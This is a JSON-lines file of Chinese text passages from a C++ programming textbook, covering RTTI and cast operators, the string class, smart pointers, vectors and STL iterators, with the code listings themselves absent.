    {"text": "假设有下面这样的类层次结构： 接下来假设有下面的指针： 最后，对于下面的类型转换： 哪些是安全的？ 根据类声明，它们可能全都是安全的，但只有那些指针类型与对象的类型（或对象的直接或间接基类的类型）相同的类型转换才一定是安全的。 例如，类型转换#1就是安全的，因为它将Magificent类型的指针指向类型为Magnificent的对象。 类型转换#2就是不安全的，因为它将基数对象（Grand）的地址赋给派生类（Magnificent）指针。"},
    {"text": "注意： 通常，如果指向的对象（*pt）的类型为Type或者是从Type直接或间接派生而来的类型，则下面的表达式将指针pt转换为Type类型的指针： 否则，结果为0，即空指针。"},
    {"text": "Grand类定义了一个虚函数Speak( )，而其他类都重新定义了该虚函数。 Superb类定义了一个虚函数Say( )，而Manificent也重新定义了它（参见图15.4）。"},
    {"text": "程序定义了GetOne( )函数，该函数随机创建这3种类中某种类的对象，并对其进行初始化，然后将地址作为Grand*指针返回（GetOne( )函数模拟用户做出决定）。"},
    {"text": "然而，可以使用dynamic_cast运算符来检查是否可将pg的类型安全地转换为Superb指针。 如果对象的类型为Superb或Magnificent，则可以安全转换。"},
    {"text": "下面是该程序的输出： 正如您看到的，只为Superb和Magnificent类调用了Say( )方法（每次运行时输出都可能不同，因为该程序使用rand( )来选择对象类型）。"},
    {"text": "因此，可以像下面这样使用该运算符，其中rg是对Grand对象的引用： 2．typeid运算符和type_info类 typeid运算符使得能够确定两个对象是否为同种类型。"},
    {"text": "typeid运算符返回一个对type_info对象的引用，其中，type_info是在头文件typeinfo（以前为typeinfo.h）中定义的一个类。 type_info类重载了= =和!=运算符，以便可以使用这些运算符来对类型进行比较。"},
    {"text": "例如，下面的语句显示指针pg指向的对象所属的类定义的字符串： 程序清单15.18对程序清单15.17作了修改，以使用typeid运算符和name( )成员函数。"},
    {"text": "程序清单15.18 rtti2.cpp 程序清单15.18所示程序的运行情况如下： 与前一个程序的输出一样，每次运行该程序的输出都可能不同，因为它使用rand( )来选择类型。"},
    {"text": "请看程序清单15.17的核心代码： 通过放弃dynamic_cast和虚函数，而使用typeid，可以将上述代码重新编写为： 上述代码不仅比原来的更难看、更长，而且显式地指定各个类存在严重的缺陷。"},
    {"text": "下面的语句适用于所有从Grand派生而来的类： 而下面的语句适用于所有从Superb派生而来的类： 提示： 如果发现在扩展的if else语句系列中使用了typeid，则应考虑是否应该使用虚函数和dynamic_cast。"},
    {"text": "对于这种松散情况，Stroustrop采取的措施是，更严格地限制允许的类型转换，并添加4个类型转换运算符，使转换过程更规范： dynamic_cast；"},
    {"text": "总之，假设High和Low是两个类，而ph和pl的类型分别为High *和Low *，则仅当Low是High的可访问基类（直接或间接）时，下面的语句才将一个Low*指针赋给pl： 否则，该语句将空指针赋给pl。"},
    {"text": "通常，该运算符的语法如下： 该运算符的用途是，使得能够在类层次结构中进行向上转换（由于is-a关系，这样的类型转换是安全的），而不允许其他转换。"},
    {"text": "const_cast运算符用于执行只有一种用途的类型转换，即改变值为const或volatile，其语法与dynamic_cast运算符相同： 如果类型的其他方面也被修改，则上述类型转换将出错。"},
    {"text": "这也可以通过通用类型转换来实现，但通用转换也可能同时改变类型： 由于编程时可能无意间同时改变类型和常量特征，因此使用const_cast运算符更安全。"},
    {"text": "程序清单15.19的简单示例阐明了这一点： 程序清单15.19 constcast.cpp const_cast运算符可以删除const int* pt中的const，使得编译器能够接受change( )中的语句： 但由于pop2被声明为const，因此编译器可能禁止修改它，如下面的输出所示： 正如您看到的，调用change( )时，修改了pop1，但没有修改pop2。"},
    {"text": "static_cast运算符的语法与其他类型转换运算符相同： 仅当type_name可被隐式转换为expression所属的类型或expression可被隐式转换为type_name所属的类型时，上述转换才是合法的，否则将出错。"},
    {"text": "假设High是Low的基类，而Pond是一个无关的类，则从High到Low的转换、从Low到High的转换都是合法的，而从Low到Pond的转换是不允许的： 第一种转换是合法的，因为向上转换可以显示地进行。"},
    {"text": "但由于无需进行类型转换，便可以进行另一个方向的类型转换，因此使用static_cast来进行向下转换是合法的。 同理，由于无需进行类型转换，枚举值就可以被转换为整型，所以可以用static_cast将整型转换为枚举值。 同样，可以使用static_cast将double转换为int、将float转换为long以及其他各种数值转换。"},
    {"text": "例如，可以将指针类型转换为足以存储指针表示的整型，但不能将指针转换为更小的整型或浮点型。 另一个限制是，不能将函数指针转换为数据指针，反之亦然。 在C++中，普通类型转换也受到限制。"},
    {"text": "因此，下面的类型转换在C语言中是允许的，但在C++中通常不允许，因为对于大多数C++实现，char类型都太小，不能存储指针： 这些限制是合理的，如果您觉得这种限制难以忍受，可以使用C语言。"},
    {"text": "Typeid运算符返回一个type_info对象。 可以对两个typeid的返回值进行比较，以确定对象是否为特定的类型，而返回的type_info对象可用于获得关于对象的信息。"},
    {"text": "6．对于本章定义的Grand、Superb和Magnificent类，假设pg为Grand *指针，并将其中某个类的对象的地址赋给了它，而ps为Superb *指针，则下面两个代码示例的行为有什么不同？"},
    {"text": "16.1 string类 很多应用程序都需要处理字符串。 C语言在string.h（在C++中为cstring）中提供了一系列的字符串函数，很多早期的C++实现为处理字符串提供了自己的类。 第4章介绍了ANSI/ISO C++ string类，而第12章创建了一个不大的String类，以说明设计表示字符串的类的某些方面。 string类是由头文件string支持的（注意，头文件string.h和cstring支持对C-风格字符串进行操纵的C库字符串函数，但不支持string类）。 要使用类，关键在于知道它的公有接口，而string类包含大量的方法，其中包括了若干构造函数，用于将字符串赋给变量、合并字符串、比较字符串和访问各个元素的重载运算符以及用于在字符串中查找字符和子字符串的工具等。 简而言之，string类包含的内容很多。 16.1.1 构造字符串 先来看string的构造函数。"},
    {"text": "程序清单16.1使用了string的7个构造函数（用ctor标识，这是传统C++中构造函数的缩写）。 表16.1简要地描述了这些构造函数，它首先使用顺序简要描述了程序清单16.1使用的7个构造函数，然后列出了C++11新增的两个构造函数。"},
    {"text": "使用构造函数时都进行了简化，即隐藏了这样一个事实：string实际上是模板具体化basic_string<char>的一个typedef，同时省略了与内存管理相关的参数（这将在本章后面和附录F中讨论）。"},
    {"text": "表16.1 string类的构造函数 构 造 函 数 描 述 string(const char * s) 将string对象初始化为s指向的NBTS string(size_type n, char c) 创建一个包含n个元素的string对象，其中每个元素都被初始化为字符c string(const string & str) 将一个string对象初始化为string对象str（复制构造函数） string( ) 创建一个默认的sting对象，长度为0（默认构造函数） string(const char * s, size_type n) 将string对象初始化为s指向的NBTS的前n个字符，即使超过了NBTS结尾 template<class Iter> string(Iter begin, Iter end) 将string对象初始化为区间[begin, end)内的字符，其中begin和end的行为就像指针，用于指定位置，范围包括begin在内，但不包括end string(const string & str, string size_type pos = 0, size_type n = npos) 将一个string对象初始化为对象str中从位置pos开始到结尾的字符，或从位置pos开始的n个字符 string(string && str) noexcept 这是C++11新增的，它将一个string对象初始化为string对象str，并可能修改str（移动构造函数） string(initializer_list<char> il) 这是C++11新增的，它将一个string对象初始化为初始化列表il中的字符 程序清单16.1 str1.cpp 程序清单16.1中程序还使用了重载+=运算符，它将一个字符串附加到另一个字符串的后面；"},
    {"text": "下面是程序清单16.1中程序的输出： 1．程序说明 程序清单16.1中的程序首先演示了可以将string对象初始化为常规的C-风格字符串，然后使用重载的<<运算符来显示它： 接下来的构造函数将string对象two初始化为由20个$字符组成的字符串： 复制构造函数将string对象three初始化为string对象one： 重载的+=运算符将字符串“Oops!”附加到字符串one的后面： 这里是将一个C-风格字符串附加到一个string对象的后面。 但+=运算符被多次重载，以便能够附加string对象和单个字符： 同样，=运算符也被重载，以便可以将string对象、C-风格字符串或char值赋给string对象： 重载[ ]运算符（就像第12章的String示例那样）使得可以使用数组表示法来访问string对象中的各个字符： 默认构造函数创建一个以后可对其进行赋值的空字符串： 第2行使用重载的+运算符创建了一个临时string对象，然后使用重载的=运算符将它赋给对象four。"},
    {"text": "第5个构造函数将一个C-风格字符串和一个整数作为参数，其中的整数参数表示要复制多少个字符： 从输出可知，这里只使用了前20个字符（“All's well that ends”）来初始化five对象。"},
    {"text": "所以在上面的例子中，如果用40代替20，将导致15个无用字符被复制到five的结尾处（即构造函数将内存中位于字符串“All's well that ends well”后面的内容作为字符）。"},
    {"text": "第6个构造函数有一个模板参数： begin和end将像指针那样，指向内存中两个位置（通常，begin和end可以是迭代器——广泛用于STL中的广义化指针）。 构造函数将使用begin和end指向的位置之间的值，对string对象进行初始化。"},
    {"text": "图16.1 使用区间的string构造函数 现在假设要用这个构造函数将对象初始化为另一个string对象（假设为five）的一部分内容，则下面的语句不管用： 原因在于，对象名（不同于数组名）不会被看作是对象的地址，因此five不是指针，所以five + 6是没有意义的。"},
    {"text": "第7个构造函数将一个string对象的部分内容复制到构造的对象中： 上述语句从four的第8个字符（位置7）开始，将16个字符复制到eight中。 2．C++11新增的构造函数 构造函数string（string && str）类似于复制构造函数，导致新创建的string为str的副本。"},
    {"text": "构造函数string（initializer_list<char> il）让您能够将列表初始化语法用于string类。 也就是说，它使得下面这样的声明是合法的： 就string类而言，这可能用处不大，因为使用C-风格字符串更容易，但确实实现了让列表初始化语法普遍实用的意图。"},
    {"text": "对于C-风格字符串，有3种方式： 对于string对象，有两种方式： 两个版本的getline( )都有一个可选参数，用于指定使用哪个字符来确定输入的边界： 在功能上，它们之间的主要区别在于，string版本的getline( )将自动调整目标string对象的大小，使之刚好能够存储输入的字符： 自动调整大小的功能让string版本的getline( )不需要指定读取多少个字符的数值参数。 在设计方面的一个区别是，读取C-风格字符串的函数是istream类的方法，而string版本是独立的函数。"},
    {"text": "string版本的getline( )函数从输入中读取字符，并将其存储到目标string中，直到发生下列三种情况之一： 到达文件尾，在这种情况下，输入流的eofbit将被设置，这意味着方法fail( )和eof( )都将返回true；"},
    {"text": "读取的字符数达到最大允许值（string::npos和可供分配的内存字节数中较小的一个），在这种情况下，将设置输入流的failbit，这意味着方法fail( )将返回true。"},
    {"text": "在这个系统中，检测到文件尾后将设置eofbit寄存器，检测到输入错误时将设置failbit寄存器，出现无法识别的故障（如硬盘故障）时将设置badbit寄存器，一切顺利时将设置goodbit寄存器。"},
    {"text": "string版本的operator>>( )函数的行为与此类似，只是它不断读取，直到遇到空白字符并将其留在输入队列中，而不是不断读取，直到遇到分界字符并将其丢弃。"},
    {"text": "程序清单16.2 strfile.cpp 下面是文件tobuy.txt的内容： 通常，对于程序要查找的文本文件，应将其放在可执行程序或项目文件所在的目录中；"},
    {"text": "在Windows系统中，C-风格字符串中的转义序列\\表示一个斜杠： 下面是程序清单16.2中程序的输出： 注意，将:指定为分界字符后，换行符将被视为常规字符。"},
    {"text": "16.1.3 使用字符串 现在，您知道可以使用不同方式来创建string对象、显示string对象的内容、将数据读取和附加到string对象中、给string对象赋值以及将两个string对象连结起来。"},
    {"text": "对于每个关系运算符，都以三种方式被重载，以便能够将string对象与另一个string对象、C-风格字符串进行比较，并能够将C-风格字符串与string对象进行比较： 可以确定字符串的长度。"},
    {"text": "否则，返回string :: npos string库还提供了相关的方法：rfind( )、find_first_of( )、find_last_of( )、find_first_not_of( )和find_last_not_of( )，它们的重载函数特征标都与find( )方法相同。"},
    {"text": "rfind( )方法查找子字符串或字符最后一次出现的位置； find_first_of( )方法在字符串中查找参数中任何一个字符首次出现的位置。 例如，下面的语句返回r在“cobra”中的位置（即索引3），因为这是“hark”中各个字母在“cobra”首次出现的位置： find_last_of( )方法的功能与此相同，只是它查找的是最后一次出现的位置。 因此，下面的语句返回a在“cobra”中的位置： find_first_not_of( )方法在字符串中查找第一个不包含在参数中的字符，因此下面的语句返回c在“cobra”中的位置，因为“hark”中没有c： 在本章最后的练习中，您将了解find_last_not_of( )。"},
    {"text": "为记录玩家猜对的情况，程序创建了一个单词，其长度与被猜的单词相同，但包含的是连字符。 玩家猜对字符时，将用该字符替换相应的连字符。"},
    {"text": "程序清单16.3 hangman.cpp 程序清单16.3中程序的运行情况如下： 程序说明 在程序清单16.3中，由于关系运算符被重载，因此可以像对待数值变量那样对待字符串： 与对C-风格字符串使用strcmp( )相比，这样简单些。"},
    {"text": "如果是，则它要么位于badchars字符串（猜错）中，要么位于attempt字符串（猜对）中： npos变量是string类的静态成员，它的值是string对象能存储的最大字符数。"},
    {"text": "该程序利用了这样一个事实：+=运算符的某个重载版本使得能够将一个字符附加到字符串中： 该程序的核心是从检查玩家选择的字符是否位于被猜测的单词中开始的： 如果loc是一个有效的值，则可以将该字母放置在答案字符串的相应位置： 然而，由于字母在被猜测的单词中可能出现多次，所以程序必须一直进行检查。"},
    {"text": "16.1.4 string还提供了哪些功能 string库提供了很多其他的工具，包括完成下述功能的函数：删除字符串的部分或全部内容、用一个字符串的部分或全部内容替换另一个字符串的部分或全部内容、将数据插入到字符串中或删除字符串中的数据、将一个字符串的部分或全部内容与另一个字符串的部分或全部内容进行比较、从字符串中提取子字符串、将一个字符串中的内容复制到另一个字符串中、交换两个字符串的内容。"},
    {"text": "如果执行大量这样的操作，效率将非常低，因此很多C++实现分配一个比实际字符串大的内存块，为字符串提供了增大空间。 然而，如果字符串不断增大，超过了内存块的大小，程序将分配一个大小为原来两倍的新内存块，以提供足够的增大空间，避免不断地分配新的内存块。"},
    {"text": "程序清单16.4 str2.cpp 下面是使用某种C++实现时，程序清单16.4中程序的输出： 注意，该实现使用的最小容量为15个字符，这比标准容量选择（16的倍数）小1。"},
    {"text": "因此可以这样做： 16.1.5 字符串种类 本节将string类看作是基于char类型的。 事实上，正如前面指出的，string库实际上是基于一个模板类的： 模板basic_string有4个具体化，每个具体化都有一个typedef名称： 这让您能够使用基于类型wchar_t、char16_t、char32_t和char的字符串。 甚至可以开发某种类似字符的类，并对它使用basic_string类模板（只要它满足某些要求）。"},
    {"text": "您可能也知道解决之道——只要别忘了在return语句前添加下面的语句，以释放分配的内存即可： 然而，但凡涉及“别忘了”的解决方法，很少是最佳的。"},
    {"text": "当remodel( )这样的函数终止（不管是正常终止，还是由于出现了异常而终止），本地变量都将从栈内存中删除——因此指针ps占据的内存将被释放。"},
    {"text": "16.2.1 使用智能指针 这三个智能指针模板（auto_ptr、unique_ptr和shared_ptr）都定义了类似指针的对象，可以将new获得（直接或间接）的地址赋给这种对象。"},
    {"text": "例如，如果ps是一个智能指针对象，则可以对它执行解除引用操作（* ps）、用它来访问结构成员（ps->puffIndex）、将它赋给指向相同类型的常规指针。"},
    {"text": "程序清单16.6 fowl.cpp 下面是该程序的输出： 消息core dumped表明，错误地使用auto_ptr可能导致问题（这种代码的行为是不确定的，其行为可能随系统而异）。"},
    {"text": "如果在程序清单16.6中使用shared_ptr代替auto_ptr（这要求编译器支持C++11新增的shared_ptr类），则程序将正常运行，其输出如下： 差别在于程序的如下部分： 这次pwin和films[2]指向同一个对象，而引用计数从1增加到2。"},
    {"text": "但使用unique_ptr时，程序不会等到运行阶段崩溃，而在编译器因下述代码行出现错误： 显然，该进一步探索auto_ptr和unique_ptr之间的差别。"},
    {"text": "假设有如下函数定义： 并假设编写了如下代码： demo( )返回一个临时unique_ptr，然后ps接管了原本归返回的unique_ptr所有的对象，而返回的unique_ptr被销毁。"},
    {"text": "如果源unique_ptr将存在一段时间，编译器将禁止这样做： 语句#1将留下悬挂的unique_ptr（pul），这可能导致危害。 语句#2不会留下悬挂的unique_ptr，因为它调用unique_ptr的构造函数，该构造函数创建的临时对象在其所有权转让给pu后就会被销毁。"},
    {"text": "下面是一个使用前述demo( )函数的例子，该函数返回一个unique_ptr<string>对象： 您可能会问，unique_ptr如何能够区分安全和不安全的用法呢？"},
    {"text": "模板auto_ptr使用delete而不是delete [ ]，因此只能与new一起使用，而不能与new [ ]一起使用。 但unique_ptr有使用new [ ]和delete [ ]的版本： 警告： 使用new分配内存时，才能使用auto_ptr和shared_ptr，使用new [ ]分配内存时，不能使用它们。 不使用new分配内存时，不能使用auto_ptr或shared_ptr； 不使用new或new []分配内存时，不能使用unique_ptr。"},
    {"text": "例如，可在程序中使用类似于下面的代码段，这里假设程序包含正确的include和using语句： 其中的push_back( )调用没有问题，因为它返回一个临时unique_ptr，该unique_ptr被赋给vp中的一个unique_ptr。"},
    {"text": "另外，如果按值而不是按引用给show( )传递对象，for_each( )语句将非法，因为这将导致使用一个来自vp的非临时unique_ptr初始化pi，而这是不允许的。"},
    {"text": "在unique_ptr为右值时，可将其赋给shared_ptr，这与将一个unique_ptr赋给另一个需要满足的条件相同。 与前面一样，在下面的代码中，make_int( )的返回类型为unique_ptr<int>： 模板shared_ptr包含一个显式构造函数，可用于将右值unique_ptr转换为shared_ptr。 shared_ptr将接管原来归unique_ptr所有的对象。"},
    {"text": "在计算中，矢量（vector）对应数组，而不是第11章介绍的数学矢量（在数学中，可以使用N个分量来表示N维数学矢量，因此从这方面讲，数学矢量类似一个N维数组。"},
    {"text": "所以vector类提供了与第14章介绍的valarray和ArrayTP以及第4章介绍的array类似的操作，即可以创建vector对象，将一个vector对象赋给另一个对象，使用[ ]运算符来访问vector元素。"},
    {"text": "要使类成为通用的，应将它设计为模板类，STL正是这样做的——在头文件vector（以前为vector.h）中定义了一个vector模板。 要创建vector模板对象，可使用通常的<type>表示法来指出要使用的类型。 另外，vector模板使用动态内存分配，因此可以用初始化参数来指出需要多少矢量： 由于运算符[ ]被重载，因此创建vector对象后，可以使用通常的数组表示法来访问各个元素： 分配器 与string类相似，各种STL容器模板都接受一个可选的模板参数，该参数指定使用哪个分配器对象来管理内存。 例如，vector模板的开头与下面类似： 如果省略该模板参数的值，则容器模板将默认使用allocator<T>类。"},
    {"text": "所有的STL容器都提供了一些基本方法，其中包括size( )——返回容器中元素数目、swap( )——交换两个容器的内容、begin( )——返回一个指向容器中第一个元素的迭代器、end( )——返回一个表示超过容器尾的迭代器。"},
    {"text": "例如，要为vector的double类型规范声明一个迭代器，可以这样做： 假设scores是一个vector<double>对象： 则可以使用迭代器pd执行这样的操作： 正如您看到的，迭代器的行为就像指针。"},
    {"text": "例如，下述代码删除第一个和第二个元素，即删除begin( )和begin( )+1指向的元素（由于vector提供了随机访问功能，因此vector类迭代器定义了诸如begin( )+2等操作）： 如果it1和it2是迭代器，则STL文档使用[p1, p2)来表示从p1到p2（不包括p2）的区间。"},
    {"text": "它接受3个迭代器参数，第一个参数指定了新元素的插入位置，第二个和第三个迭代器参数定义了被插入区间，该区间通常是另一个容器对象的一部分。"},
    {"text": "例如，下面的代码将矢量new_v中除第一个元素外的所有元素插入到old_v矢量的第一个元素前面： 图16.3 STL的区间概念 顺便说一句，对于这种情况，拥有超尾元素是非常方便的，因为这使得在矢量尾部附加元素非常简单。 下面的代码将新元素插入到old.end( )前面，即矢量最后一个元素的后面。"},
    {"text": "程序清单16.8 vect2.cpp 程序清单16.8中程序的运行情况如下： 16.3.3 对矢量可执行的其他操作 程序员通常要对数组执行很多操作，如搜索、排序、随机排序等。"},
    {"text": "STL从更广泛的角度定义了非成员（non-member）函数来执行这些操作，即不是为每个容器类定义find( )成员函数，而是定义了一个适用于所有容器类的非成员函数find( )。"},
    {"text": "这是因为对有些操作来说，类特定算法的效率比通用算法高，因此，vector的成员函数swap( )的效率比非成员函数swap( )高，但非成员函数让您能够交换两个类型不同的容器的内容。"},
    {"text": "例如，下面的语句随机排列books矢量中所有元素： 与可用于任何容器类的for_each不同，该函数要求容器类允许随机访问，vector类可以做到这一点。"},
    {"text": "该函数有两个版本，第一个版本接受两个定义区间的迭代器参数，并使用为存储在容器中的类型元素定义的<运算符，对区间中的元素进行操作。"},
    {"text": "例如，下面的语句按升序对coolstuff的内容进行排序，排序时使用内置的<运算符对值进行比较： 如果容器元素是用户定义的对象，则要使用sort( )，必须定义能够处理该类型对象的operator<( )函数。"},
    {"text": "例如，如果为Review提供了成员或非成员函数operator<( )，则可以对包含Review对象的矢量进行排序。 由于Review是一个结构，因此其成员是公有的，这样的非成员函数将为： 有了这样的函数后，就可以对包含Review对象（如books）的矢量进行排序了： 上述版本的operator<( )函数按title成员的字母顺序排序。"},
    {"text": "下面是一个例子： 有了这个函数后，就可以使用下面的语句将包含Review对象的books矢量按rating升序排列： 注意，与operator<( )相比，WorseThan( )函数执行的对Review对象进行排序的工作不那么完整。 如果两个对象的title成员相同，operator<( )函数将按rating进行排序，而WorseThan( )将它们视为相同。"},
    {"text": "程序清单16.9 vect3.cpp 程序清单16.9中程序的运行情况如下： 16.3.4 基于范围的for循环（C++11） 第5章说过，基于范围的for循环是为用于STL而设计的。"},
    {"text": "为复习该循环，下面是第5章的第一个示例： 在这种for循环中，括号内的代码声明一个类型与容器存储的内容相同的变量，然后指出了容器的名称。"},
    {"text": "例如，对于下述摘自程序清单16.9的语句： 可将其替换为下述基于范围的for循环： 根据book的类型（vector<Review>），编译器将推断出x的类型为Review，而循环将依次将books中的每个Review对象传递给ShowReview( )。"},
    {"text": "首先看一个在double数组中搜索特定值的函数，可以这样编写该函数： 如果函数在数组中找到这样的值，则返回该值在数组中的地址，否则返回一个空指针。"},
    {"text": "链表由链接在一起的Node结构组成： 假设有一个指向链表第一个节点的指针，每个节点的p_next指针都指向下一个节点，链表最后一个节点的p_next指针被设置为0，则可以这样编写find_ll( )函数： 同样，也可以使用模板将这种算法推广到支持= =运算符的任何数据类型的链表。"},
    {"text": "顺便说一句，常规指针就能满足迭代器的要求，因此，可以这样重新编写find_arr( )函数： 然后可以修改函数参数，使之接受两个指示区间的指针参数，其中的一个指向数组的起始位置，另一个指向数组的超尾（程序清单7.8与此类似）；"},
    {"text": "下面的find_ar( )版本完成了这些修改： 对于find_ll( )函数，可以定义一个迭代器类，其中定义了运算符*和++： 为区分++运算符的前缀版本和后缀版本，C++将operator++作为前缀版本，将operator++（int）作为后缀版本；"},
    {"text": "这里重点不是如何定义iterator类，而是有了这样的类后，第二个find函数就可以这样编写： 这和find_ar( )几乎相同，差别在于如何谓词已到达最后一个值。"},
    {"text": "对于其中的某个类，迭代器可能是指针； 而对于另一个类，则可能是对象。 不管实现方式如何，迭代器都将提供所需的操作，如*和++（有些类需要的操作可能比其他类多）。"},
    {"text": "其次，每个容器类都有一个超尾标记，当迭代器递增到超越容器的最后一个值后，这个值将被赋给迭代器。 每个容器类都有begin( )和end( )方法，它们分别返回一个指向容器的第一个元素和超尾位置的迭代器。 每个容器类都使用++操作，让迭代器从指向第一个元素逐步指向超尾位置，从而遍历容器中的每一个元素。 使用容器类时，无需知道其迭代器是如何实现的，也无需知道超尾是如何实现的，而只需知道它有迭代器，其begin( )返回一个指向第一个元素的迭代器，end( )返回一个指向超尾位置的迭代器即可。"},
    {"text": "例如，假设要打印vector<double>对象中的值，则可以这样做： 其中，下面的代码行将pr的类型声明为vector<double>类的迭代器： 如果要使用list<double>类模板来存储分数，则代码如下： 唯一不同的是pr的类型。"},
    {"text": "使用C++11新增的自动类型推断可进一步简化：对于矢量或列表，都可使用如下代码： 实际上，作为一种编程风格，最好避免直接使用迭代器，而应尽可能使用STL函数（如for_each( )）来处理细节。"},
    {"text": "为使通用算法能够适用于具体情况，应定义能够满足算法需求的迭代器，并把要求加到容器设计上。 即基于算法的要求，设计基本迭代器的特征和容器特征。"},
    {"text": "STL定义了5种迭代器，并根据所需的迭代器类型对算法进行了描述。 这5种迭代器分别是输入迭代器、输出迭代器、正向迭代器、双向迭代器和随机访问迭代器。"},
    {"text": "同样，下面的原型指出排序算法需要一个随机访问迭代器： 对于这5种迭代器，都可以执行解除引用操作（即为它们定义了*运算符），也可进行比较，看其是相等（使用= =运算符，可能被重载了）还是不相等（使用!=运算符，可能被重载了）。"},
    {"text": "1．输入迭代器 术语“输入”是从程序的角度说的，即来自容器的信息被视为输入，就像来自键盘的信息对程序来说是输入一样。 因此，输入迭代器可被程序用来读取容器中的信息。"},
    {"text": "具体地说，对输入迭代器解除引用将使程序能够读取容器中的值，但不一定能让程序修改值。 因此，需要输入迭代器的算法将不会修改容器中的值。"},
    {"text": "2．输出迭代器 STL使用术语“输出”来指用于将信息从程序传输给容器的迭代器，因此程序的输出就是容器的输入。 输出迭代器与输入迭代器相似，只是解除引用让程序能修改容器值，而不能读取。"},
    {"text": "5．随机访问迭代器 有些算法（如标准排序和二分检索）要求能够直接跳到容器中的任何一个元素，这叫做随机访问，需要随机访问迭代器。 随机访问迭代器具有双向迭代器的所有特性，同时添加了支持随机访问的操作（如指针增加运算）和用于对元素进行排序的关系运算符。"},
    {"text": "其中，X表示随机迭代器类型，T表示被指向的类型，a和b都是迭代器值，n为整数，r为随机迭代器变量或引用。 表16.3 随机访问迭代器操作 表 达 式 描 述 a + n 指向a所指向的元素后的第n个元素 n + a 与a + n相同 a - n 指向a所指向的元素前的第n个元素 r += n 等价于r = r + n r -= n 等价于r = r – n a[n] 等价于*(a + n) b - a 结果为这样的n值，即b = a + n a < b 如果b – a > 0，则为真 a > b 如果b < a，则为真 a >= b 如果 !( a < b)，则为真 a <= b 如果 !( a > b)，则为真 像a+n这样的表达式仅当a和a+n都位于容器区间（包括超尾）内时才合法， 16.4.3 迭代器层次结构 您可能已经注意到，迭代器类型形成了一个层次结构。"},
    {"text": "正向迭代器具有输入迭代器和输出迭代器的全部功能，同时还有自己的功能； 双向迭代器具有正向迭代器的全部功能，同时还有自己的功能； 随机访问迭代器具有正向迭代器的全部功能，同时还有自己的功能。"},
    {"text": "表16.4 迭代器性能 迭代器功能 输 入 输 出 正 向 双 向 随 机 访 问 解除引用读取 有 无 有 有 有 解除引用写入 无 有 有 有 有 固定和可重复排序 无 无 有 有 有 ++i i++ 有 有 有 有 有 − −i i − − 无 无 无 有 有 i[n] 无 无 无 无 有 i + n 无 无 无 无 有 i - n 无 无 无 无 有 i + = n 无 无 无 无 有 i − = n 无 无 无 无 有 根据特定迭代器类型编写的算法可以使用该种迭代器，也可以使用具有所需功能的任何其他迭代器。"},
    {"text": "然而，该类的文档将指出，矢量迭代器是随机访问迭代器，它允许使用基于任何迭代器类型的算法，因为随机访问迭代器具有所有迭代器的功能。"},
    {"text": "1．将指针用作迭代器 迭代器是广义指针，而指针满足所有的迭代器要求。 迭代器是STL算法的接口，而指针是迭代器，因此STL算法可以使用指针来对基于指针的非STL容器进行操作。"},
    {"text": "由于指针是迭代器，而算法是基于迭代器的，这使得可将STL算法用于常规数组。 同样，可以将STL算法用于自己设计的数组形式，只要提供适当的迭代器（可以是指针，也可以是对象）和超尾指示器即可。"},
    {"text": "有一种算法（名为copy( )）可以将数据从一个容器复制到另一个容器中。 这种算法是以迭代器方式实现的，所以它可以从一种容器到另一种容器进行复制，甚至可以在数组之间复制，因为可以将指向数组的指针用作迭代器。 例如，下面的代码将一个数组复制到一个矢量中： copy( )的前两个迭代器参数表示要复制的范围，最后一个迭代器参数表示要将第一个元素复制到什么位置。"},
    {"text": "用STL的话说，该模板是输出迭代器概念的一个模型，它也是一个适配器（adapter）——一个类或函数，可以将一些其他接口转换为STL使用的接口。"},
    {"text": "可以通过包含头文件iterator（以前为iterator.h）并作下面的声明来创建这种迭代器： out_iter迭代器现在是一个接口，让您能够使用cout来显示信息。"},
    {"text": "第一个模板参数（这里为int）指出了被发送给输出流的数据类型； 第二个模板参数（这里为char）指出了输出流使用的字符类型（另一个可能的值是wchar_t）。"},
    {"text": "即可以这样使用适配器： iterator头文件还定义了一个istream_iterator模板，使istream输入可用作迭代器接口。 它是一个输入迭代器概念的模型，可以使用两个istream_iterator对象来定义copy( )的输入范围： 与ostream_iterator相似，istream_iterator也使用两个模板参数。"},
    {"text": "使用构造函数参数cin意味着使用由cin管理的输入流，省略构造函数参数表示输入失败，因此上述代码从输入流中读取，直到文件结尾、类型不匹配或出现其他输入故障为止。"},
    {"text": "假设要显示dice容器的内容，正如刚才介绍的，可以使用copy( )和ostream_iterator来将内容复制到输出流中： 现在假设要反向打印容器的内容（可能您正在从事时间反演研究）。"},
    {"text": "vector类有一个名为rbegin( )的成员函数和一个名为rend( )的成员函数，前者返回一个指向超尾的反向迭代器，后者返回一个指向第一个元素的反向迭代器。"},
    {"text": "注意： rbegin( )和end( )返回相同的值（超尾），但类型不同（reverse_iterator和iterator）。 同样，rend( )和begin( )也返回相同的值（指向第一个元素的迭代器），但类型不同。"},
    {"text": "程序清单16.10演示了如何使用copy( )、istream迭代器和反向迭代器。 程序清单16.10 copyit.cpp 程序清单16.10中程序的输出如下： 如果可以在显式声明迭代器和使用STL函数来处理内部问题（如通过将rbegin( )返回值传递给函数）之间选择，请采用后者。"},
    {"text": "前面说过，下面的语句将值复制到从dice.begin( )开始的位置： 这些值将覆盖dice中以前的内容，且该函数假设dice有足够的空间，能够容纳这些值，即copy( )不能自动根据发送值调整目标容器的长度。"},
    {"text": "back_insert_iterator将元素插入到容器尾部，而front_insert_iterator将元素插入到容器的前端。 最后，insert_iterator将元素插入到insert_iterator构造函数的参数指定的位置前面。"},
    {"text": "back_insert_iterator只能用于允许在尾部快速插入的容器（快速插入指的是一个时间固定的算法，将在本章后面的“容器概念”一节做进一步讨论），vector类符合这种要求。 front_insert_iterator只能用于允许在起始位置做时间固定插入的容器类型，vector类不能满足这种要求，但queue满足。"},
    {"text": "也就是说，要为名为dice的vector<int>容器创建一个back_insert_iterator，可以这样做： 必须声明容器类型的原因是，迭代器必须使用合适的容器方法。"},
    {"text": "对于insert_iterator声明，还需一个指示插入位置的构造函数参数： 程序清单16.11演示了这两种迭代器的用法，还使用for_each( )而不是ostream迭代器进行输出。"},
    {"text": "然后，back_insert_iterator将s2中的字符串插入到words数组的末尾，将words的长度增加到6个元素。 最后，insert_iterator将s3中的两个字符串插入到words的第一个元素的前面，将words的长度增加到8个元素。"},
    {"text": "如果程序试图使用words.end( )和words.begin( )作为迭代器，将s2和s3复制到words中，words将没有空间来存储新数据，程序可能会由于内存违规而异常终止。"},
    {"text": "因此，copy( )不仅可以将信息从一个容器复制到另一个容器，还可以将信息从容器复制到输出流，从输入流复制到容器中。 还可以使用copy( )将信息插入到另一个容器中。"},
